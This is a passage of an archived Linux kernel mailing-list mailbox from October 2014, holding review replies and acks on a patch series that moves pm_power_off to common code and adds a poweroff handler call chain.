are also two trunk breakages and several minor issues ongoing.

Is there something specific you would like to see?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Thu, 9 Oct 2014 11:28:55 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20141009102855.GE17836@e104818-lin.cambridge.arm.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412850593 16196 80.91.229.3 (9 Oct 2014 10:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:29:53 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "adi-buildroot-devel@lists.sourceforge.net" 
        <adi-buildroot-devel@lists.sourceforge.net>,
        "devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
        "devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
        "lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
        "linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
        "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
        "linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
        "linux-cris-kernel@axis.com" <linux-cris-kernel@axis.com>,
        "linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxp
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Oct 09 12:29:37 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XcAyX-0000JU-Ah
	for sgi-linux-mips@gmane.org; Thu, 09 Oct 2014 12:29:37 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55385 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010924AbaJIK3fQAT1h (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 9 Oct 2014 12:29:35 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 09 Oct 2014 12:29:21 +0200 (CEST)
Original-Received: from foss-mx-na.foss.arm.com ([217.140.108.86]:53719 "EHLO
        foss-mx-na.foss.arm.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010922AbaJIK3TEhGHh (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 9 Oct 2014 12:29:19 +0200
Original-Received: from foss-smtp-na-1.foss.arm.com (unknown [10.80.61.8])
        by foss-mx-na.foss.arm.com (Postfix) with ESMTP id 7174BAD;
        Thu,  9 Oct 2014 05:29:10 -0500 (CDT)
Original-Received: from collaborate-mta1.arm.com (highbank-bc01-b06.austin.arm.com [10.112.81.134])
        by foss-smtp-na-1.foss.arm.com (Postfix) with ESMTP id E0C9C5FAD7;
        Thu,  9 Oct 2014 05:29:07 -0500 (CDT)
Original-Received: from e104818-lin.cambridge.arm.com (e104818-lin.cambridge.arm.com [10.1.203.37])
        by collaborate-mta1.arm.com (Postfix) with ESMTPS id DC73E13F717;
        Thu,  9 Oct 2014 05:28:57 -0500 (CDT)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 43119
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: catalin.marinas@arm.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44268 gmane.linux.kernel:1804184 gmane.linux.drivers.devicetree:93536 gmane.linux.kernel.virtualization.lguest:1513 gmane.linux.acpi.devel:71353 gmane.linux.ports.alpha:2498 gmane.linux.kernel.efi:4787 gmane.linux.ports.hexagon:845 gmane.linux.ports.ppc64.devel:106022 gmane.linux.ports.tegra:19563 gmane.linux.kernel.openipmi:2504 gmane.linux.uml.devel:14718 gmane.linux.ports.arm.kernel:362939 gmane.linux.ports.ia64:24534 gmane.linux.ports.m68k:6277 gmane.linux.kernel.metag:365 gmane.linux.ports.parisc:6150 gmane.linux.power-management.general:50769 gmane.linux.ports.sh.devel:39904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44268>

On Tue, Oct 07, 2014 at 06:28:10AM +0100, Guenter Roeck wrote:
> diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
> index e0ef8ba..db396bb 100644
> --- a/arch/arm64/kernel/process.c
> +++ b/arch/arm64/kernel/process.c
> @@ -94,8 +94,6 @@ void soft_restart(unsigned long addr)
>  /*
>   * Function pointers to optional machine specific functions
>   */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL_GPL(pm_power_off);
> 
>  void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
> 
> @@ -155,8 +153,7 @@ void machine_power_off(void)
>  {
>         local_irq_disable();
>         smp_send_stop();
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_poweroff();
>  }

Acked-by: Catalin Marinas <catalin.marinas@arm.com>



From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 9 Oct 2014 12:31:43 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20141009103143.GA6787@amd>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-2-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412850719 17693 80.91.229.3 (9 Oct 2014 10:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:31:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Andrew Morton <akp
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Oct 09 12:31:49 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XcB0e-0001Ti-5m
	for glpm-linux-m68k@plane.gmane.org; Thu, 09 Oct 2014 12:31:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754806AbaJIKbr (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 9 Oct 2014 06:31:47 -0400
Original-Received: from atrey.karlin.mff.cuni.cz ([195.113.26.193]:46931 "EHLO
	atrey.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754557AbaJIKbq (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 9 Oct 2014 06:31:46 -0400
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
	id 1C5D381E56; Thu,  9 Oct 2014 12:31:44 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-2-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6278 gmane.linux.kernel:1804187 gmane.linux.drivers.devicetree:93537 gmane.linux.kernel.virtualization.lguest:1514 gmane.linux.acpi.devel:71354 gmane.linux.ports.alpha:2499 gmane.linux.kernel.efi:4788 gmane.linux.ports.hexagon:846 gmane.linux.ports.ppc64.devel:106023 gmane.linux.ports.tegra:19564 gmane.linux.kernel.openipmi:2505 gmane.linux.uml.devel:14719 gmane.linux.ports.arm.kernel:362941 gmane.linux.ports.ia64:24535 gmane.linux.kernel.metag:366 gmane.linux.ports.mips.general:44269 gmane.linux.ports.parisc:6151 gmane.linux.power-management.general:50770 gmane.linux.ports.sh.devel:39905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6278>

Hi!

> +/**
> + *	register_poweroff_handler_simple - Register function to be called to power off
> + *					   the system
> + *	@handler:	Function to be called to power off the system
> + *	@priority:	Handler priority. For priority guidelines see
> + *			register_poweroff_handler.
> + *
> + *	This is a simplified version of register_poweroff_handler. It does not
> + *	take a notifier as argument, but a function pointer. The function
> + *	registers a poweroff handler with specified priority. Poweroff
> + *	handlers registered with this function can not be unregistered,
> + *	and only a single poweroff handler can be installed using it.
> + *
> + *	This function must not be called from modules and is therefore
> + *	not exported.
> + *
> + *	Returns -EBUSY if a poweroff handler has already been registered
> + *	using register_poweroff_handler_simple. Otherwise returns zero,
> + *	since atomic_notifier_chain_register() currently always returns zero.
> + */
> +int register_poweroff_handler_simple(void (*handler)(void), int priority)
> +{
> +	char symname[KSYM_NAME_LEN];
> +
> +	if (poweroff_handler_data.handler) {
> +		lookup_symbol_name((unsigned long)poweroff_handler_data.handler,
> +				   symname);
> +		pr_warn("Poweroff function already registered (%s)", symname);
> +		lookup_symbol_name((unsigned long)handler, symname);
> +		pr_cont(", cannot register %s\n", symname);
> +		return -EBUSY;
> +	}

Dunno, are you maybe overdoing the debugging infrastructure a bit?
This is not going to happen in production, and if it does happen,
developer can look the symbol name himself.
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel-+ZI9xUNit7I@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 03/44] hibernate: Call have_kernel_poweroff instead of
 checking pm_power_off
Date: Thu, 9 Oct 2014 12:32:54 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20141009103254.GB6787@amd>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-4-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412850792 18635 80.91.229.3 (9 Oct 2014 10:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:33:12 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	"Rafael J. Wysocki
To: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 09 12:33:03 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XcB1o-0001fg-8f
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 09 Oct 2014 12:33:00 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754557AbaJIKc7 (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Thu, 9 Oct 2014 06:32:59 -0400
Original-Received: from atrey.karlin.mff.cuni.cz ([195.113.26.193]:46972 "EHLO
	atrey.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752304AbaJIKc6 (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 9 Oct 2014 06:32:58 -0400
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
	id 2109981E51; Thu,  9 Oct 2014 12:32:55 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-4-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4789 gmane.linux.kernel:1804188 gmane.linux.drivers.devicetree:93538 gmane.linux.kernel.virtualization.lguest:1515 gmane.linux.acpi.devel:71355 gmane.linux.ports.alpha:2500 gmane.linux.ports.hexagon:847 gmane.linux.ports.ppc64.devel:106024 gmane.linux.ports.tegra:19565 gmane.linux.kernel.openipmi:2506 gmane.linux.uml.devel:14720 gmane.linux.ports.arm.kernel:362942 gmane.linux.ports.ia64:24536 gmane.linux.kernel.metag:367 gmane.linux.ports.mips.general:44270 gmane.linux.ports.parisc:6152 gmane.linux.power-management.general:50771 gmane.linux.ports.sh.devel:39906
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4789>

On Mon 2014-10-06 22:28:05, Guenter Roeck wrote:
> Poweroff handlers may now be installed with register_poweroff_handler.
> Use the new API function have_kernel_poweroff to determine if a poweroff
> handler has been installed.
> 
> Cc: Rafael J. Wysocki <rjw-LthD3rsA81gm4RdzfppkhA@public.gmane.org>
> Cc: Pavel Machek <pavel-+ZI9xUNit7I@public.gmane.org>
> Cc: Len Brown <len.brown-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
> ---
>  kernel/power/hibernate.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
> index a9dfa79..20353c5 100644
> --- a/kernel/power/hibernate.c
> +++ b/kernel/power/hibernate.c
> @@ -602,7 +602,7 @@ static void power_down(void)
>  	case HIBERNATION_PLATFORM:
>  		hibernation_platform_enter();
>  	case HIBERNATION_SHUTDOWN:
> -		if (pm_power_off)
> +		if (have_kernel_poweroff())
>  			kernel_power_off();
>  		break;

poweroff -> power_off.

But if you are playing with this, anyway... does it make sense to
introduce kernel_power_off() that just works, no need to check
have_..?
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

From - Thu Nov 08 21:10:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Thu, 9 Oct 2014 10:35:34 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA230753C5E5304@IN01WEMBXA.internal.synopsys.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412851004 21178 80.91.229.3 (9 Oct 2014 10:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 10:36:44 +0000 (UTC)
Cc: "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
 "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 Steven Miao <realmz6@gmail.com>,
 "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>, Boris
 Ostrovsky <boris.ostrovsky@oracle.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will
 Deacon <will.deacon@arm.com>, Jeff Dike <jdike@addtoit.com>,
 David Howells <dhowells@redhat.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, Thomas Gleixner <tglx@linutronix.de>,
 Lennox Wu <lennox.wu@gmail.com>, Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 "devel@driverdev.osuosl.org"
To: Guenter Roeck <linux@roeck-us.net>, "linux-kernel@vger.kernel.org"
 <linux-kernel@vger.kernel.org>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Oct 09 12:36:29 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from whitealder.osuosl.org ([140.211.166.138])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XcB55-0003bd-9F
	for glddd-devel@m.gmane.org; Thu, 09 Oct 2014 12:36:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by whitealder.osuosl.org (Postfix) with ESMTP id F24B8923EE;
	Thu,  9 Oct 2014 10:36:21 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id P0KawLaMq+LU; Thu,  9 Oct 2014 10:36:20 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by whitealder.osuosl.org (Postfix) with ESMTP id 824D592677;
	Thu,  9 Oct 2014 10:36:20 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (fraxinus.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id E2A201C2393
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 10:36:19 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id AB8D2A29CE
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 10:36:19 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id Fz2EkGeJHFXY for <devel@linuxdriverproject.org>;
 Thu,  9 Oct 2014 10:36:18 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (smtprelay2.synopsys.com
 [198.182.60.111])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id 71FADA29C8
 for <devel@driverdev.osuosl.org>; Thu,  9 Oct 2014 10:36:17 +0000 (UTC)
Original-Received: from us02secmta2.synopsys.com (us02secmta2.synopsys.com
 [10.12.235.98])
 by smtprelay.synopsys.com (Postfix) with ESMTP id 3F4BD10C07A0;
 Thu,  9 Oct 2014 03:36:10 -0700 (PDT)
Original-Received: from us02secmta2.internal.synopsys.com
 (us02secmta2.internal.synopsys.com [127.0.0.1])
 by us02secmta2.internal.synopsys.com (Service) with ESMTP id 0638055F02;
 Thu,  9 Oct 2014 03:36:10 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost2.synopsys.com [10.9.202.240])
 by us02secmta2.internal.synopsys.com (Service) with ESMTP id 1E7E455F13;
 Thu,  9 Oct 2014 03:36:09 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
 by mailhost.synopsys.com (Postfix) with ESMTP id C05324AA;
 Thu,  9 Oct 2014 03:36:08 -0700 (PDT)
Original-Received: from us01wehtc1.internal.synopsys.com
 (us01wehtc1.internal.synopsys.com [10.12.239.235])
 by mailhost.synopsys.com (Postfix) with ESMTP id 930A245E;
 Thu,  9 Oct 2014 03:35:59 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 us01wehtc1.internal.synopsys.com (10.12.239.235) with Microsoft SMTP Server
 (TLS) id 14.3.158.1; Thu, 9 Oct 2014 03:35:59 -0700
Original-Received: from IN01WEMBXA.internal.synopsys.com ([fe80::ed6f:22d3:d35:4833])
 by IN01WEHTCB.internal.synopsys.com ([::1]) with mapi id 14.03.0158.001; Thu,
 9 Oct 2014 16:05:34 +0530
Thread-Topic: [PATCH 08/44] kernel: Move pm_power_off to common code
Thread-Index: AQHP4e/s3/hEEZLlzkWa3WEQqwxtHg==
Accept-Language: en-US, en-IN
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.12.196.182]
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
